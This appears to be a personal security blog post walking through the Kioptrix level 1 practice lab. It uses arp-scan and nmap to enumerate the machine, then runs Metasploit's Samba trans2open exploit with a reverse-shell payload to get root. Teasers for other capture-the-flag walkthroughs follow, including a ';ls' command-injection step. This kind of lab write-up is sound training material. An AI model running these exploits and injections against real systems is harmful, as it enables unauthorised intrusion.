Kioptrix : level 1 (#1)

Lab Environment


Attacker’s Machine : Linux kali 4.18.0-kali2-amd64 #1 SMP Debian 4.18.10-2kali1 (2018-10-09) x86_64 GNU/Linux
Vulnerable Machine : Kioptrix: level 1(#1)
Let’s start hacking and breach the security of this machine


Scanning Phase :
Now let’s scan our local network to which attacking machine and vulnerable machine is connected.
      Syntax used : arp-scan -l
                  Victim machine : 192.168.113.129


Enumeration Phase :
I used nmap for further enumeration of ports and it’s services
Syntax used to scan all ports : nmap -p- 192.168.113.129 -Pn
Syntax used to scan services : nmap -sSCV 192.168.113.129 -Pn




I found http service active on port 80 and samba on port 139
So, I tried to visit the webpage if I can get something useful but no luck this time


Now I tried to search the exploit for samba and found one based on linux, freebsd and solaris , but I needed for linux .


Using samba exploit : exploit/linux/samba/trans2open
Setting options for the same exploit
Syntax used : set rhosts 192.168.113.129
Set payload linux/x86/meterpreter/shell_reverse_tcp


Then I simply typed exploit to run the exploit and I got command shell opened and typed whoami  to know the user and it’s root .

Popular posts from this blog

Calculat3 M3 | CTF Learn

Image
This walkthrough will demonstrate the simple challenge based on command injection Calculat3 M3 This is the challenge page we got after visiting the given link. I provided random input in this calculator and intercepted the request with BurpSuite I got one parameter "expression" taking the values  Tried for command injection with ";ls" Forwarding the above request finally Got the Flag
Read more

TryHackme: Blue Walkthrough

Image
Task 1: Recon After we've connected to the tryhackme network the first task is to enumerate the target. We use Nmap for scanning the target IP. Command Used : nmap -sS -Pn <target-ip> -sS : Scan using TCP SYN scan -Pn : Treats all host as online --skip host discovery Next we used a command to find the vulnerability on the target machine. Command Used : nmap --script vuln <target-ip> --script : Specify the --script option to choose your own scripts to execute by providing categories , script file names, or the name of directories full of scripts you wish to execute. vuln : These scripts check for known vulnerabilites and generally only report results if they are found. Below, we see that nmap is indicating the target may be vulnerable to ms17-010(on the left0 and we can verify this using metasploit. To start Metasploit use command "msfconsole" We start by simply doing a search for ms17-010 Here we use module 2 i.e. exploit/windows
Read more

CTF - Dina : 1.0.1 walkthrough

Image
     Lab Environment  : Attacker’s Machine :  Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.10-1kali2(2017-11-08) x86_64 GNU/Linux Vulnerable Machine : Dina: 1.0.1 Scanning phase route -n (To know the gateway) i.e 172.16.60.2 arp-scan --local (to know the devices connected to the local network)   Vulnerable machine IP : 172.16.60.154           Using nmap for scanning the IP : nmap -sS -sC -sV  172.16.60.154 We got one open port i.e 80 and http service is active Since the port 80 is open and http service is active then we can open the IP in browser.   Another nmap syntax to know vulnerability if any : nmap --script vuln 172.16.60.154 Now further using dirb for scanning the directories : dirb http://172.16.60.154 Some results are obtained after using dirb .  Opened the http://172.16.60.154/robots.txt and found something interesti
Read more